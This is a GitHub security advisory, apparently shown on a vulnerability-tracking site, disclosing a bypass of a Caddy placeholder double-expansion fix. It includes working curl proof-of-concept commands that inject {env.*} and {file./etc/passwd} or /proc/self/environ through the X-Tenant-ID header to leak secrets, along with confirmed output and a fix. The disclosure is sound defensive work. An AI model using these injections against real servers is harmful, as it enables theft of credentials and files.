GHSA-WWHQ-W58M-W29C

Vulnerability from github – Published: 2026-05-19 19:35 – Updated: 2026-05-19 19:35
VLAI
Summary
Caddy CVE-2026-30852 Fix Bypass
Details

TL;DR

CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.

Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.

Root Cause

modules/caddyhttp/vars.go, lines 215-217:

valExpanded = varStr
if !fromPlaceholder {
    valExpanded = repl.ReplaceAll(varStr, "")  // ← SECOND EXPANSION
}

Same issue at line 358-360 in MatchVarsRE.

fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.

Expansion chain:

  1. Config: vars tenant_id {http.request.header.X-Tenant-ID}
  2. Request header: X-Tenant-ID: {env.SECRET}
  3. Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.
  4. Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.
  5. Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.

Impact

  • Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.
  • Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}
  • System info: {system.hostname}, {system.os}
  • Full env dump in one request: {file./proc/self/environ}

Realistic Attack Scenario

API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.

# Caddyfile
:8080 {
    vars tenant_id {http.request.header.X-Tenant-ID}
    @has_tenant vars_regexp tenant tenant_id (.+)
    handle @has_tenant {
        header X-Tenant-ID "{re.tenant.1}"
        reverse_proxy tenant-backend:8080
    }
    respond "Missing X-Tenant-ID header" 400
}
# docker-compose.yml
services:
  caddy:
    image: caddy:2.11.2
    ports:
      - "8080:8080"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
    environment:
      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production
      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY

Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY} Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Reproduce

docker compose up -d
sleep 2

# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: acme-corp

# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345

# Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant

# Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/

Confirmed Test Output (Caddy v2.11.2)

$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp

$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345

$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645

Fix

Apply expansion guard to BOTH branches:

// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
//     valExpanded = repl.ReplaceAll(varStr, "")
// }

Or sanitize vars stored from user input before re-expansion.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0"
            },
            {
              "last_affected": "2.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:35:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# \n\n## TL;DR\n\nCVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header \u2192 Caddy expands it on the second pass \u2192 secrets leaked in response headers.\n\n**Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.\n\n## Root Cause\n\n`modules/caddyhttp/vars.go`, lines 215-217:\n\n```go\nvalExpanded = varStr\nif !fromPlaceholder {\n    valExpanded = repl.ReplaceAll(varStr, \"\")  // \u2190 SECOND EXPANSION\n}\n```\n\nSame issue at line 358-360 in `MatchVarsRE`.\n\n`fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`.\n\n### Expansion chain:\n\n1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}`\n2. Request header: `X-Tenant-ID: {env.SECRET}`\n3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll(\"{http.request.header.X-Tenant-ID}\", \"\")` \u2192 resolves to literal string `{env.SECRET}`. Stored in vars map.\n4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll(\"{env.SECRET}\", \"\")` \u2192 resolves to the actual secret value.\n5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`.\n\n## Impact\n\n- **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc.\n- **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}`\n- **System info:** `{system.hostname}`, `{system.os}`\n- **Full env dump in one request:** `{file./proc/self/environ}`\n\n## Realistic Attack Scenario\n\nAPI gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.\n\n```\n# Caddyfile\n:8080 {\n    vars tenant_id {http.request.header.X-Tenant-ID}\n    @has_tenant vars_regexp tenant tenant_id (.+)\n    handle @has_tenant {\n        header X-Tenant-ID \"{re.tenant.1}\"\n        reverse_proxy tenant-backend:8080\n    }\n    respond \"Missing X-Tenant-ID header\" 400\n}\n```\n\n```\n# docker-compose.yml\nservices:\n  caddy:\n    image: caddy:2.11.2\n    ports:\n      - \"8080:8080\"\n    volumes:\n      - ./Caddyfile:/etc/caddy/Caddyfile:ro\n    environment:\n      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345\n      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production\n      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY\n```\n\nAttacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}`\nResponse contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`\n\n## Reproduce\n\n```bash\ndocker compose up -d\nsleep 2\n\n# Normal request \u2014 works as expected\ncurl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: acme-corp\n\n# Leak env var via response header\ncurl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345\n\n# Leak AWS credentials\ncurl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n# Read arbitrary file\ncurl -sI -H \"X-Tenant-ID: {file./etc/passwd}\" http://localhost:8080/ | grep X-Tenant\n\n# Dump ALL env vars (Linux)\ncurl -s -H \"X-Tenant-ID: {file./proc/self/environ}\" http://localhost:8080/\n```\n\n## Confirmed Test Output (Caddy v2.11.2)\n\n```\n$ curl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: acme-corp\nX-Routed-To: tenant-acme-corp\n\n$ curl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: sk-SUPER-SECRET-KEY-12345\nX-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345\n\n$ curl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nX-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n$ curl -sI -H \"X-Tenant-ID: {file./etc/hostname}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: 06140d4a8645\n```\n\n## Fix\n\nApply expansion guard to BOTH branches:\n\n```go\n// vars.go line 215-217 \u2014 fix:\nvalExpanded = varStr\n// REMOVE: if !fromPlaceholder {\n//     valExpanded = repl.ReplaceAll(varStr, \"\")\n// }\n```\n\nOr sanitize vars stored from user input before re-expansion.",
  "id": "GHSA-wwhq-w58m-w29c",
  "modified": "2026-05-19T19:35:47Z",
  "published": "2026-05-19T19:35:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-wwhq-w58m-w29c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Caddy CVE-2026-30852 Fix Bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…